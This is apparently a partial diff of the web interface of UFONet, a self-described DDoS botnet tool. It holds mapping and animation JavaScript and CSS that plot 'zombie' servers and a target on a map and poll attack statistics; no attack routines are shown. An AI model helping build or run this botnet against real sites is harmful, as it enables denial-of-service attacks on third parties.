+	hover: function(f_in, f_out, icontext, ocontext) {
+		this._set.hover(f_in, f_out, icontext, ocontext);
+
+		return this;
+	},
+
+	attr: function(name, value) {
+		this._set.attr(name, value);
+
+		return this;
+	}
+});
+
+L.Map.include({
+	_initRaphaelRoot: function () {
+		if (!this._raphaelRoot) {
+			this._raphaelRoot = this._panes.overlayPane;
+			this._paper = Raphael(this._raphaelRoot);
+
+			this.on('moveend', this._updateRaphaelViewport);
+			this._updateRaphaelViewport();
+		}
+	},
+
+	_updateRaphaelViewport: function () {
+		var	p = 0.02,
+			size = this.getSize(),
+			panePos = L.DomUtil.getPosition(this._mapPane),
+			min = panePos.multiplyBy(-1)._subtract(size.multiplyBy(p)),
+			max = min.add(size.multiplyBy(1 + p*2)),
+			width = max.x - min.x,
+			height = max.y - min.y,
+			root = this._raphaelRoot,
+			pane = this._panes.overlayPane;
+
+		this._paper.setSize(width, height);
+		
+		L.DomUtil.setPosition(root, min);
+
+		root.setAttribute('width', width);
+		root.setAttribute('height', height);
+		
+		this._paper.setViewBox(min.x, min.y, width, height, false);
+		
+	}
+});
+
+R.Marker = R.Layer.extend({
+	initialize: function(latlng, pathString, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlng = latlng;
+		this._pathString = (typeof pathString == 'string' ? pathString : 'M16,3.5c-4.142,0-7.5,3.358-7.5,7.5c0,4.143,7.5,18.121,7.5,18.121S23.5,15.143,23.5,11C23.5,6.858,20.143,3.5,16,3.5z M16,14.584c-1.979,0-3.584-1.604-3.584-3.584S14.021,7.416,16,7.416S19.584,9.021,19.584,11S17.979,14.584,16,14.584z');
+		this._attr = (typeof pathString == 'object' ? pathString : (attr ? attr : {'fill': '#000'}));
+	},
+
+	projectLatLngs: function() {		
+		if (this._path) this._path.remove();
+
+		var p = this._map.latLngToLayerPoint(this._latlng);
+		var r = Raphael.pathBBox(this._pathString);
+		
+		this._path = this._paper.path(this._pathString)
+			.attr(this._attr)
+			.translate(p.x - 1.05*r.width, p.y - 1.15*r.height)
+			.toFront();
+
+		this._set.push(this._path);
+	}
+});
+
+R.Pulse = R.Layer.extend({
+	initialize: function(latlng, radius, attr, pulseAttr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlng = latlng;
+		this._radius = (typeof radius == 'number' ? radius : 6);
+		this._attr = (typeof radius == 'object' ? radius : (typeof attr == 'object' ? attr : {'fill': '#30a3ec', 'stroke': '#30a3ec'}));
+		this._pulseAttr = (typeof radius == 'object' ? attr : typeof pulseAttr == 'object' ? pulseAttr : {
+			'stroke-width': 3,
+			'stroke': this._attr.stroke
+		});
+		this._repeat = 3;
+	},
+
+	onRemove: function (map) {
+		R.Layer.prototype.onRemove.call(this, map);
+
+		if(this._marker) this._marker.remove();		
+		if(this._pulse) this._pulse.remove();
+	},
+
+	projectLatLngs: function() {
+		if(this._marker) this._marker.remove();
+		if(this._pulse) this._pulse.remove();
+
+		var p = this._map.latLngToLayerPoint(this._latlng);
+
+		this._marker = this._paper.circle(p.x, p.y, this._radius).attr(this._attr);
+		this._pulse = this._paper.circle(p.x, p.y, this._radius).attr(this._pulseAttr);
+
+		var anim = Raphael.animation({
+						'0%': {transform: 's0.3', opacity: 1.0},
+						'100%': {transform: 's3.0', opacity: 0.0, easing: '<'}
+					}, 1000);
+
+		this._pulse.animate(anim.repeat(this._repeat));
+	}
+});
+
+R.Polyline = R.Layer.extend({
+	
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr || {'fill': '#000', 'stroke': '#000'};
+	},
+
+	projectLatLngs: function() {
+		this._set.clear();	
+		if (this._path) this._path.remove();
+		
+		this._path = this._paper.path(this.getPathString())
+			.attr(this._attr)
+			.toBack();
+
+		this._set.push(this._path);
+	},
+
+	getPathString: function() {
+		for(var i=0, len=this._latlngs.length, str=''; i<len; i++) {
+			var p = this._map.latLngToLayerPoint(this._latlngs[i]);
+			str += (i ? 'L' : 'M') + p.x + ' ' + p.y;
+		}
+		return str;
+	}
+});
+
+R.Polygon = R.Layer.extend({
+	
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		if(latlngs.length == 1) {
+			if(latlngs[0] instanceof Array) {
+				latlngs = latlngs[0];
+			}
+		}
+
+		this._latlngs = latlngs;
+		this._attr = attr || {'fill': 'rgba(255, 0, 0, 0.5)', 'stroke': '#f00', 'stroke-width': 2};
+	},
+
+	projectLatLngs: function() {
+		if (this._path) this._path.remove();
+		
+		this._path = this._paper.path(this.getPathString())
+			.attr(this._attr)
+			.toBack();
+
+		this._set.push(this._path);
+	},
+
+	getPathString: function() {
+		for(var i=0, len=this._latlngs.length, str=''; i<len; i++) {
+			var p = this._map.latLngToLayerPoint(this._latlngs[i]);
+			str += (i ? 'L' : 'M') + p.x + ' ' + p.y;
+		}
+		str += 'Z';
+
+		return str;
+	}
+});
+
+R.PolygonGlow = R.Layer.extend({
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr || {'fill': 'rgba(255, 0, 0, 1)', 'stroke': '#f00', 'stroke-width': 3};
+	},
+
+	onRemove: function(map) {
+		R.Layer.prototype.onRemove.call(this, map);
+		
+		if(this._path) this._path.remove();
+	},
+
+	projectLatLngs: function() {	
+		if (this._path) this._path.remove();
+		
+		this._path = this._paper.path(this.getPathString())
+			.attr(this._attr)
+			.toBack();
+
+		var p = this._path;
+
+		var fadeIn = function() {
+			p.animate({
+				'fill-opacity': 0.25
+			}, 1000, '<', fadeOut);
+		};
+
+		var fadeOut = function() {
+			p.animate({
+				'fill-opacity': 1
+			}, 1000, '<', fadeIn);
+		};
+
+		fadeOut();
+	},
+
+	getPathString: function() {
+		for(var i=0, len=this._latlngs.length, str=''; i<len; i++) {
+			var p = this._map.latLngToLayerPoint(this._latlngs[i]);
+			str += (i ? 'L' : 'M') + p.x + ' ' + p.y;
+		}
+		str += 'Z';
+
+		return str;
+	}
+});
+
+R.Bezier = R.Layer.extend({
+	initialize: function(latlngs, attr, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr;
+	},
+
+	projectLatLngs: function() {
+		if(this._path) this._path.remove();
+		
+		var start = this._map.latLngToLayerPoint(this._latlngs[0]),
+			end = this._map.latLngToLayerPoint(this._latlngs[1]),
+			cp = this.getControlPoint(start, end);
+
+		this._path = this._paper.path('M' + start.x + ' ' + start.y + 'Q' + cp.x + ' ' + cp.y + ' ' + end.x + ' ' + end.y)
+			.attr(this._attr)
+			.toBack();
+
+		this._set.push(this._path);
+	},
+
+	getControlPoint: function(start, end) {
+		var cp = { x: 0, y: 0 };
+		cp.x = start.x + (end.x - [start.x]) / 2;
+		cp.y = start.y + (end.y - [start.y]) / 2;
+		var amp = 0;
+
+		if (this.closeTo(start.x, end.x) && !this.closeTo(start.y, end.y)) {
+			amp = (start.x - end.x) * 1 + 15 * (start.x >= end.x ? 1 : -1);
+			cp.x = Math.max(start.x, end.x) + amp;
+		} else {
+			amp = (end.y - start.y) * 1.5 + 15 * (start.y < end.y ? 1 : -1);
+			cp.y = Math.min(start.y, end.y) + amp;
+		}
+		return cp;
+	},
+
+	closeTo: function(a, b) {
+		var t = 15;
+  		return (a - b > -t && a - b < t);
+	}
+});
+
+R.BezierAnim = R.Layer.extend({
+	initialize: function(latlngs, attr, cb, options) {
+		R.Layer.prototype.initialize.call(this, options);
+
+		this._latlngs = latlngs;
+		this._attr = attr;
+		this._cb = cb;
+	},
+
+	onRemove: function (map) {
+		R.Layer.prototype.onRemove.call(this, map);
+		
+		if(this._path) this._path.remove();
+		if(this._sub) this._sub.remove();
+	},
+
+	projectLatLngs: function() {
+		if(this._path) this._path.remove();
+		if(this._sub) this._sub.remove();
+		
+		var self = this,
+			start = this._map.latLngToLayerPoint(this._latlngs[0]),
+			end = this._map.latLngToLayerPoint(this._latlngs[1]),
+			cp = this.getControlPoint(start, end),
+			pathString="M"+start.x+" "+start.y+" L"+end.x+" "+end.y,
+			line = this._paper.path(pathString).hide();
+
+		this._paper.customAttributes.alongBezier = function(a) {
+			var r = this.data('reverse');
+			var len = this.data('pathLength');
+
+			return {
+				path: this.data('bezierPath').getSubpath(r ? (1-a)*len : 0, r ? len : a*len)
+			};
+		};
+
+		var sub = this._sub = this._paper.path()
+			.data('bezierPath', line)
+			.data('pathLength', line.getTotalLength())
+			.data('reverse', false)
+			.attr({
+				'stroke': '#BE1E2D',
+				'alongBezier': 0,
+				'stroke-width': 2
+			});
+
+		sub.stop().animate({
+			alongBezier: 1
+		}, 2000, function() {
+			//self._cb();
+			sub.data('reverse', true);
+			// sub.stop().animate({
+			// 	'alongBezier': 0
+			// }, 500, function() { sub.remove(); });
+		});
+	},
+
+	getControlPoint: function(start, end) {
+		var cp = { x: 0, y: 0 };
+		cp.x = start.x + (end.x - [start.x]) / 2;
+		cp.y = start.y + (end.y - [start.y]) / 2;
+		var amp = 0;
+
+		if (this.closeTo(start.x, end.x) && !this.closeTo(start.y, end.y)) {
+			amp = (start.x - end.x) * 1 + 15 * (start.x >= end.x ? 1 : -1);
+			cp.x = Math.max(start.x, end.x) + amp;
+		} else {
+			amp = (end.y - start.y) * 1.5 + 15 * (start.y < end.y ? 1 : -1);
+			cp.y = Math.min(start.y, end.y) + amp;
+		}
+		return cp;
+	},
+
+	closeTo: function(a, b) {
+		var t = 15;
+  		return (a - b > -t && a - b < t);
+	}
+});
+
+R.FeatureGroup = L.FeatureGroup.extend({
+	initialize: function(layers, options) {
+		L.FeatureGroup.prototype.initialize.call(this, layers, options);
+	},
+
+	animate: function(attr, ms, easing, callback) {
+		this.eachLayer(function(layer) {
+			layer.animate(attr, ms, easing, callback);
+		});
+	},
+
+	onAdd: function(map) {
+		L.FeatureGroup.prototype.onAdd.call(this,map);
+
+		this._set = this._map._paper.set();
+
+		for(i in this._layers) {
+			this._set.push(this._layers[i]._set);
+		}
+	},
+
+	hover: function(h_in, h_out, c_in, c_out) {
+		this.eachLayer(function(layer) {
+			layer.hover(h_in, h_out, c_in, c_out);
+		});
+
+		return this;
+	},
+
+	attr: function(name, value) {
+		this.eachLayer(function(layer) {
+			layer.attr(name, value);
+		});
+		
+		return this;
+	}
+});
+
+/*
+ * Contains L.MultiPolyline and L.MultiPolygon layers.
+ */
+
+(function () {
+	function createMulti(Klass) {
+		return R.FeatureGroup.extend({
+			initialize: function (latlngs, options) {
+				this._layers = {};
+				this._options = options;
+				this.setLatLngs(latlngs);
+			},
+
+			setLatLngs: function (latlngs) {
+				var i = 0, len = latlngs.length;
+
+				this.eachLayer(function (layer) {
+					if (i < len) {
+						layer.setLatLngs(latlngs[i++]);
+					} else {
+						this.removeLayer(layer);
+					}
+				}, this);
+
+				while (i < len) {
+					this.addLayer(new Klass(latlngs[i++], this._options));
+				}
+
+				return this;
+			}
+		});
+	}
+
+	R.MultiPolyline = createMulti(R.Polyline);
+	R.MultiPolygon = createMulti(R.Polygon);
+}());
+
+R.GeoJSON = R.FeatureGroup.extend({
+	initialize: function (geojson, options) {
+		L.Util.setOptions(this, options);
+
+		this._geojson = geojson;
+		this._layers = {};
+		
+		if (geojson) {
+			this.addGeoJSON(geojson);
+		}
+	},
+
+	addGeoJSON: function (geojson) {
+		var features = geojson.features,
+		    i, len;
+
+		if (features) {
+			for (i = 0, len = features.length; i < len; i++) {
+				this.addGeoJSON(features[i]);
+			}
+			return;
+		}
+
+		var isFeature = (geojson.type === 'Feature'),
+		    geometry = isFeature ? geojson.geometry : geojson,
+		    layer = R.GeoJSON.geometryToLayer(geometry, this.options.pointToLayer);
+
+		this.fire('featureparse', {
+			layer: layer,
+			properties: geojson.properties,
+			geometryType: geometry.type,
+			bbox: geojson.bbox,
+			id: geojson.id,
+			geometry: geojson.geometry
+		});
+
+		this.addLayer(layer);
+	}
+});
+
+L.Util.extend(R.GeoJSON, {
+	geometryToLayer: function (geometry, pointToLayer) {
+		var coords = geometry.coordinates,
+		    layers = [],
+		    latlng, latlngs, i, len, layer;
+
+		switch (geometry.type) {
+		case 'Point':
+			latlng = this.coordsToLatLng(coords);
+			return pointToLayer ? pointToLayer(latlng) : new R.Marker(latlng);
+
+		case 'MultiPoint':
+			for (i = 0, len = coords.length; i < len; i++) {
+				latlng = this.coordsToLatLng(coords[i]);
+				layer = pointToLayer ? pointToLayer(latlng) : new R.Marker(latlng);
+				layers.push(layer);
+			}
+			return new R.FeatureGroup(layers);
+
+		case 'LineString':
+			latlngs = this.coordsToLatLngs(coords);
+			return new R.Polyline(latlngs);
+
+		case 'Polygon':
+			latlngs = this.coordsToLatLngs(coords, 1);
+			return new R.Polygon(latlngs);
+
+		case 'MultiLineString':
+			latlngs = this.coordsToLatLngs(coords, 1);
+			return new R.MultiPolyline(latlngs);
+
+		case "MultiPolygon":
+			latlngs = this.coordsToLatLngs(coords, 2);
+			return new R.MultiPolygon(latlngs);
+
+		case "GeometryCollection":
+			for (i = 0, len = geometry.geometries.length; i < len; i++) {
+				layer = this.geometryToLayer(geometry.geometries[i], pointToLayer);
+				layers.push(layer);
+			}
+			return new R.FeatureGroup(layers);
+
+		default:
+			throw new Error('Invalid GeoJSON object.');
+		}
+	},
+
+	coordsToLatLng: function (coords, reverse) { // (Array, Boolean) -> LatLng
+		var lat = parseFloat(coords[reverse ? 0 : 1]),
+		    lng = parseFloat(coords[reverse ? 1 : 0]);
+
+		return new L.LatLng(lat, lng, true);
+	},
+
+	coordsToLatLngs: function (coords, levelsDeep, reverse) { // (Array, Number, Boolean) -> Array
+		var latlng,
+		    latlngs = [],
+		    i, len;
+
+		for (i = 0, len = coords.length; i < len; i++) {
+			latlng = levelsDeep ?
+					this.coordsToLatLngs(coords[i], levelsDeep - 1, reverse) :
+					this.coordsToLatLng(coords[i], reverse);
+			latlngs.push(latlng);
+		}
+
+		return latlngs;
+	}
+});
+
+
+
+}());

+ 128 - 0
core/js/stars.js

@@ -0,0 +1,128 @@
+function $i(id) { return document.getElementById(id); }
+function $r(parent,child) { (document.getElementById(parent)).removeChild(document.getElementById(child)); }
+function $t(name) { return document.getElementsByTagName(name); }
+function $c(code) { return String.fromCharCode(code); }
+function $h(value) { return ('0'+Math.max(0,Math.min(255,Math.round(value))).toString(16)).slice(-2); }
+function _i(id,value) { $t('div')[id].innerHTML+=value; }
+function _h(value) { return !hires?value:Math.round(value/2); }
+
+function get_screen_size()
+	{
+	var w=document.documentElement.clientWidth;
+	var h=document.documentElement.clientHeight;
+	return Array(w,h);
+	}
+
+var url=document.location.href;
+
+var flag=true;
+var test=true;
+var n=parseInt((url.indexOf('n=')!=-1)?url.substring(url.indexOf('n=')+2,((url.substring(url.indexOf('n=')+2,url.length)).indexOf('&')!=-1)?url.indexOf('n=')+2+(url.substring(url.indexOf('n=')+2,url.length)).indexOf('&'):url.length):512);
+var w=0;
+var h=0;
+var x=0;
+var y=0;
+var z=0;
+var star_color_ratio=0;
+var star_x_save,star_y_save;
+var star_ratio=256;
+var star_speed=1;
+var star_speed_save=0;
+var star=new Array(n);
+var color;
+var opacity=0.1;
+
+var cursor_x=0;
+var cursor_y=0;
+var mouse_x=0;
+var mouse_y=0;
+
+var canvas_x=0;
+var canvas_y=0;
+var canvas_w=0;
+var canvas_h=0;
+var context;
+
+var key;
+var ctrl;
+
+var timeout;
+var fps=0;
+
+function init()
+	{
+	var a=0;
+	for(var i=0;i<n;i++)
+		{
+		star[i]=new Array(5);
+		star[i][0]=Math.random()*w*2-x*2;
+		star[i][1]=Math.random()*h*2-y*2;
+		star[i][2]=Math.round(Math.random()*z);
+		star[i][3]=0;
+		star[i][4]=0;
+		}
+	var starfield=$i('starfield');
+	starfield.style.position='absolute';
+	starfield.width=w;
+	starfield.height=h;
+	context=starfield.getContext('2d');
+	context.fillStyle='rgb(0,0,0)';
+	context.strokeStyle='rgb(255,255,255)';
+	}
+
+function anim()
+	{
+	mouse_x=cursor_x-x;
+	mouse_y=cursor_y-y;
+	context.fillRect(0,0,w,h);
+	for(var i=0;i<n;i++)
+		{
+		test=true;
+		star_x_save=star[i][3];
+		star_y_save=star[i][4];
+		star[i][0]+=mouse_x>>4; if(star[i][0]>x<<1) { star[i][0]-=w<<1; test=false; } if(star[i][0]<-x<<1) { star[i][0]+=w<<1; test=false; }
+		star[i][1]+=mouse_y>>4; if(star[i][1]>y<<1) { star[i][1]-=h<<1; test=false; } if(star[i][1]<-y<<1) { star[i][1]+=h<<1; test=false; }
+		star[i][2]-=star_speed; if(star[i][2]>z) { star[i][2]-=z; test=false; } if(star[i][2]<0) { star[i][2]+=z; test=false; }
+		star[i][3]=x+(star[i][0]/star[i][2])*star_ratio;
+		star[i][4]=y+(star[i][1]/star[i][2])*star_ratio;
+		if(star_x_save>0&&star_x_save<w&&star_y_save>0&&star_y_save<h&&test)
+			{
+			context.lineWidth=(1-star_color_ratio*star[i][2])*2;
+			context.beginPath();
+			context.moveTo(star_x_save,star_y_save);
+			context.lineTo(star[i][3],star[i][4]);
+			context.stroke();
+			context.closePath();
+			}
+		}
+	timeout=setTimeout('anim()',fps);
+	}
+
+function release()
+	{
+	switch(key)
+		{
+		case 13:
+			context.fillStyle='rgb(0,0,0)';
+			break;
+		}
+	}
+
+function start()
+	{
+	resize();
+	anim();
+	}
+
+function resize()
+	{
+	w=parseInt((url.indexOf('w=')!=-1)?url.substring(url.indexOf('w=')+2,((url.substring(url.indexOf('w=')+2,url.length)).indexOf('&')!=-1)?url.indexOf('w=')+2+(url.substring(url.indexOf('w=')+2,url.length)).indexOf('&'):url.length):get_screen_size()[0]);
+	h=parseInt((url.indexOf('h=')!=-1)?url.substring(url.indexOf('h=')+2,((url.substring(url.indexOf('h=')+2,url.length)).indexOf('&')!=-1)?url.indexOf('h=')+2+(url.substring(url.indexOf('h=')+2,url.length)).indexOf('&'):url.length):get_screen_size()[1]);
+	x=Math.round(w/2);
+	y=Math.round(h/2);
+	z=(w+h)/2;
+	star_color_ratio=1/z;
+	cursor_x=x;
+	cursor_y=y;
+	init();
+	}

+ 125 - 0
core/js/style.css

@@ -0,0 +1,125 @@
+body{
+	font-family: 'SourceSansPro-Regular', Arial, serif;
+	font-size: 12px;
+}
+.header{
+	width: inherit;
+	height: 20px;
+	text-align: center;
+	color:red;
+	font-size: 14px;
+}
+
+#url{
+	top:50px;
+	font-size: 30px;
+	color:#7777;
+	font-family: 'SourceSansPro-Bold';
+	text-shadow: 0px 2px 3px rgba(150, 150, 150, 1)
+}
+
+#map {
+ z-index:1;
+ top: 0px;
+ left: 0px;
+ position:absolute; 
+}
+
+.bar{
+	z-index:2;
+	top:0px;
+	left:0px;
+	width:20px;
+	height:100%;
+	position:absolute;
+        background-color:rgba(255, 255, 255, 0.8);
+	-webkit-box-shadow:  12px 0px 8px -4px rgba(0, 0, 0, 0.5);
+    box-shadow:  12px 0px 8px -4px rgba(0, 0, 0, 0.5);
+    overflow: auto;
+}
+
+#button{
+	z-index:4;
+	float:right;
+	width: 10px;
+	height: 90%;
+	padding: 5px;
+	font-size: 20px;
+
+}
+
+.info{
+	z-index: 3;
+	width:250;
+	position: absolute;
+	top: 0px;
+	z-index: 4;
+	color:black;
+	padding: 15px;
+	float: left;
+	overflow: auto;
+	
+}
+.test{
+	background: repeat;
+}
+
+.divider{
+	font-size: 14;
+	text-align: center;
+}
+#footer{
+	bottom:0;
+	overflow: auto;
+}
+.info a {
+	color:#6cb9f7;
+}
+.info img{
+	top :0px;
+}
+.info p {
+	overflow: auto;
+	padding-left: 10px;
+}
+.info #info-text{
+	text-align: justify;
+	height:inherit;
+	overflow: auto;
+
+}
+.toggle{
+	text-align: center;
+	font-weight: 700;
+	cursor: pointer;
+	font-size: 14;
+}
+
+#metadata{
+	visibility: hidden;
+}
+
+.bc-custom-control {
+    background-color:rgba(255, 255, 255, 0.7);
+    box-shadow: 0 1px 7px rgba(0,0,0,0.65);
+    -webkit-border-radius: 4px;
+            border-radius: 4px;
+    font-color: black;
+    color: black;
+    border-radius: 4px;
+    margin: 10px;
+    padding: 10px;
+}
+
+.leaflet-container a{
+    font-weight:700;
+}
+
+#error{
+    text-align: center;
+    font-weight: 700;
+    cursor: pointer;
+    font-size: 14;
+    color:red;
+    margin:42px; 
+}

File diff suppressed because it is too large
+ 101 - 0
core/js/ufo-cloud.css


+ 442 - 0
core/js/ufo.js

@@ -0,0 +1,442 @@
+/*
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+// this variable defines the delay between each ajax update (statistics and geoip information)
+var AJAX_DELAY = 1234
+
+// interface control definitions, managed by leaflet
+var UfoControlClass = L.Control.extend({
+    options: {
+        position: 'bottomright'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_msg_div leaflet-control-layers leaflet-control-layers-expanded')
+	L.DomEvent.on(container,'mousedown',L.DomEvent.stopPropagation)
+	    .on(container,'doubleclick',L.DomEvent.stopPropagation)
+	    .on(container,'click',L.DomEvent.stopPropagation)
+	return container;
+    }
+});
+
+var UfoTitleClass = L.Control.extend({
+    options: {
+        position: 'topleft'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_title_div leaflet-control-layers leaflet-control-layers-expanded')
+        return container;
+    }
+});
+
+var UfoErrorClass = L.Control.extend({
+    options: {
+        position: 'bottomleft'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_error_div leaflet-control-layers leaflet-control-layers-expanded')
+        return container;
+    }
+});
+
+var UfoStatClass = L.Control.extend({
+    options: {
+        position: 'bottomleft'
+    },
+    onAdd: function (map) {
+        var container = L.DomUtil.create('div', 'ufo_stat_div leaflet-control-layers leaflet-control-layers-expanded')
+	L.DomEvent.on(container,'mousedown',L.DomEvent.stopPropagation)
+	    .on(container,'doubleclick',L.DomEvent.stopPropagation)
+	    .on(container,'click',L.DomEvent.stopPropagation)
+        return container;
+    }
+});
+
+// leaflet cluster, regrouping zombies by country
+function Cluster(){
+    this._clusters=new Array()
+    this.add=function(zombie,marker){
+	cc=zombie.country_code
+	cg=false
+	if(cc){
+	    cg=this.find(cc)
+	    if(cg==false){
+		cg=new L.MarkerClusterGroup()
+		this._clusters.push({"cc":cc,"z":zombie,"cg":cg})
+	    }
+	    cg.addLayer(marker)
+	    map.addLayer(cg)
+	}
+    }
+    this.find=function(cc){
+	for(c in this._clusters){
+	    if(this._clusters[c].cc==cc){
+		return this._clusters[c].cg
+	    }
+	}
+	return false
+    }
+}
+
+// Target object
+function Doll(name){
+    this.name = name
+    this.data=false
+    this.latlong = false
+    this.city = false
+    this.country = false
+    this.country_code = false
+    this.asn = false
+    this.ip = false
+    this.hostname = false
+    this.drawnLayers = new Array()
+    this.show=function(){
+	    target_icon=L.icon({iconUrl:"/js/leaflet/images/marker-icon.png",
+				iconSize: [25, 41],
+				iconAnchor: [13, 42],
+				popupAnchor: [-3, -76],
+				shadowUrl: '/js/leaflet/images/marker-shadow.png',
+				shadowSize: [68, 95],
+				shadowAnchor: [22, 94]
+			       })
+	var marker = L.marker(this.latlong,{icon: target_icon})
+	var popup = L.Popup({
+	    maxHeight: 50})
+	var popupcontent = "<b>"+this.name+"</b>"
+	    +"<br />-------------<br />"        
+	    +"Localisation: "+this.city+"/"+this.country
+	    +"<br/>"
+	    +"IP: "+this.ip+"<br/>"
+	    +"Hostname: "+this.hostname+"<br/>"
+	    +"ASN: "+this.asn+"<br/>"
+	marker.bindPopup(popupcontent)
+	this.drawnLayers.push(marker)
+	map.addLayer(marker)
+    }
+    this.setData = function(data){
+	this.data=data
+	this.latlong = data[0]
+	this.city = data[1]
+	this.country = data[2]
+	this.country_code = data[3]
+	this.asn = data[4]
+	this.ip = data[5]
+	this.hostname = data[6]
+    }
+}
+
+// object for each zombie
+function zombieEntry(name,data){
+    this.data=data
+    this.name = name
+    this.latlong = data[0]
+    this.city = data[1]
+    this.country = data[2]
+    this.country_code = data[3]
+    this.asn = data[4]
+    this.ip = data[5]
+    this.hostname = data[6]
+    this.drawnLayers = new Array()
+    this.index=0
+    this.state='awakening'
+    this.speed= 1000 // animation speed in ms
+    this.cluster = false
+    this.show=function(){
+	if(this.state==='awakening'){
+	    this.state='awake'
+	    this.stop_anim=false
+	    this.drawMarker()
+	}
+    }
+    this.drawMarker=function(){
+	if(!zombie_icon)
+	    zombie_icon=L.icon({iconUrl:"/js/leaflet/images/ufonet-zombie.png",
+				iconSize: [16, 15],
+				iconAnchor: [8, 8],
+				popupAnchor: [-3, -76]
+			       })
+	var marker = L.marker(this.latlong,{icon:zombie_icon}) //,{icon: this.makeCustomMarker()})
+	var popup = L.Popup({
+	    maxHeight: 50})
+	var popupcontent = "<b>"+this.name+"</b>"
+            +"<br />-------------<br />"        
+            +"Localisation: "+this.city+"/"+this.country+"<br/>"
+            +"IP: "+this.ip+"<br/>"
+            +"Hostname: "+this.hostname+"<br/>"
+            +"ASN: "+this.asn+"<br/>"
+	marker.bindPopup(popupcontent)
+	cluster.add(this,marker)
+	this.drawnLayers.push(marker)
+	this.fire()
+    }
+    this.fire = function(){
+	if(doll){
+	    var src = this.latlong
+	    var dest = doll.latlong
+	    var b = new R.BezierAnim([src, dest])
+	    map.addLayer(b)
+	    this.drawnLayers.push(b)
+	}
+    }
+    this.makeCustomMarker= function(){
+	if (this.index < this.counter_max){
+	    var customIcon = new L.icon({
+		iconUrl: 'images/markers/marker-icon-'+this.index+'.png',
+		iconSize:     [30, 30], // size of the icon
+		iconAnchor:   [15, 15], // point of the icon which will correspond to marker's location
+		popupAnchor:  [-150, 50] // point from which the popup should open relative to the iconAnchor
+	    });
+	}
+	if (this.index == this.counter_max){
+	    var customIcon = new L.icon({
+		iconUrl: 'images/markers/marker-icon-last.png',
+		iconSize:     [30, 30], // size of the icon
+		iconAnchor:   [15, 15], // point of the icon which will correspond to marker's location
+		popupAnchor:  [-150, 0] // point from which the popup should open relative to the iconAnchor
+	    });
+	}
+	return customIcon
+    }
+    this.makeClusterGroups=function(country_code_list){
+	for (var i = 0; i < this.unique_country_code_list.length; i++){
+	    if (this.unique_country_code_list[i] == this.country_code_list[this.index]){
+		if (this.clusterGroups[this.unique_country_code_list[i]]){
+		    //checks if a cluster for the country already exists
+		    return
+		}
+		else
+		    //if not make it.
+		    this.clusterGroups[this.unique_country_code_list[i]] = new L.MarkerClusterGroup();
+	    }
+	}
+    }
+    this.AddMarkerCluster=  function(marker){
+	this.clusterGroups[this.country_code_list[this.index]].addLayer(marker)
+	map.addLayer(this.clusterGroups[this.country_code_list[this.index]])
+	this.drawnLayers.push(this.clusterGroups[this.country_code_list[this.index]])
+    }
+    this.AddMarker=function(src){
+	var marker = L.marker([src[0], src[1]],{icon: this.makeCustomMarker()})
+	this.drawnLayers.push(marker)
+    }
+    this.hide=function() {
+	$('.header').hide()
+	this.index =0
+	    this.state='awakening'
+	    this.stop_anim=true
+	    for (i in this.drawnLayers){
+		if(map.hasLayer(this.drawnLayers[i]))
+		    map.removeLayer(this.drawnLayers[i])
+	    }
+	    this.drawnLayers=new Array()
+	}
+}
+
+// List of zombies
+function  Herd(){
+    this.zombieEntries = new Array
+    this.find=function (name){
+	for (z in this.zombieEntries){
+	    if (this.zombieEntries[z].name === name){
+		return this.zombieEntries[z]
+	    }
+	}
+	return false;
+    }
+    this.load=function(name){
+	e=this.find(name)
+	if(e){
+	    e.show()
+	    return
+	}
+	return false
+    }
+    this.hideAll = function(){
+	for (ufoe in this.zombieEntries)
+	    this.zombieEntries[ufoe].hide()
+	this.render()
+    }
+    this.hide = function(name){
+	var ufoe=this.find(name)
+	if(!ufoe) return
+	ufoe.hide()
+	this.render()
+    }
+    this.remove = function(name){
+	for (z in this.zombieEntries){
+	    if(this.zombieEntries[z].name === name){
+		this.zombieEntries[z].hide()
+		this.zombieEntries.splice(z,1)
+		this.render()
+		return
+	    }
+	}
+    }
+    this.add = function(name,data){
+	var ufoe=this.find(name)
+	if(!ufoe){
+	    ufoe=new zombieEntry(name,data)
+	    this.zombieEntries.push(ufoe)
+	}
+	ufoe.show()
+	return ufoe
+    }
+    this.stop=function() {
+	for(i=0;i<this.zombieEntries.length;i++) {
+	    this.zombieEntries[i].stop();
+	}  
+	this.render()
+    }
+    this.count=function(){
+	return this.zombieEntries.length
+    }
+}
+
+// jquery shortcuts
+function ufomsg(msg){
+    if ($('#ufomsg').html().indexOf(msg) == -1){
+	$('#ufomsg').append(msg+"<br/>\n")
+	$('#ufomsg_last').html(msg)
+    }
+}
+
+function show_error(){
+    $(".ufo_error_div").toggle()
+}
+
+function zombie_detail(data=''){
+    t=''
+    if (data!=''){
+	t+="<h2>Zombie: <i>"+data.name+"</i> <a href='#' onclick='zombie_detail()'>X</a></h2>"
+	t+=data.hits+" hits / "+data.retries+" retries / "+data.fails+" fails <br/>"
+	t+=data.min_time+" min time / "+data.avg_time+" average time / "+data.max_time+" max time <br/>"
+	t+=data.min_size+" min size / "+data.avg_size+" average size / "+data.max_size+" max size <br/>"
+    }
+    $('#zombie_detail').html(t)
+}
+
+// watchdog function
+function ufowatch(){
+    // if attack mode we have a doll, and do a check if herd is done and bail if so
+    // if herd is not done, get stats
+    if(doll && !hdone){
+	d = new Date()
+	$("#ufostat").load("/js/ajax.js?stats="+d.getTime()).show()
+    }
+    // load doll geoip data
+    if(doll && !doll.data)
+	$(".ufo_error_div").load("/js/ajax.js?fetchdoll="+doll.name)
+    // bail if all zombies are done in view mode
+    if (zdone) 
